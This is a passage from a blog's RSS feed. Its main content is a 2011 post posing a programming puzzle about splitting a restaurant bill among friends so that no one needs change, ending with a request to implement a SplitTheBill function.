]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2011/04/mod_rewrite-reminder/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Split the Bill</title>
		<link>http://thekeesh.com/2011/04/split-the-bill/</link>
		<comments>http://thekeesh.com/2011/04/split-the-bill/#comments</comments>
		<pubDate>Mon, 04 Apr 2011 09:08:14 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Computer Science]]></category>
		<category><![CDATA[Riddles]]></category>
		<category><![CDATA[split the bill]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=213</guid>
		<description><![CDATA[Ok, here is the problem. You are at a restaurant with a number of your friends, and the bill comes. But you have a 5, and two 10s. But your bill is 17. And your friend has 2 ones, and &#8230; <a href="http://thekeesh.com/2011/04/split-the-bill/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Ok, here is the problem. You are at a restaurant with a number of your friends, and the bill comes. But you have a 5, and two 10s. But your bill is 17. And your friend has 2 ones, and a 20. And another friend has three 10s. You need to split the bill&#8211;you want everyone to pay for their share, but find a way to redistribute the money without getting change. It&#8217;s a tricky problem&#8211;what if he gives two dollars to her, and then she gives a five to him&#8230;etc.</p>
<p>Can you write a program that splits the bill?</p>
<p>More specifically, can you write a program that given a list of people, where a person has an amount that they owe and a list of bills that they have, outputs whether or not it is possible to split the bill? Can you write one that shows exactly where the money needs to go?</p>
<p>To start off:</p>
<p>you have a vector
<person> called people<br />
a person has a name, list of bills, and total amount owed<br />
write:</p>
<p><code>bool SplitTheBill(people);</code></p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2011/04/split-the-bill/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

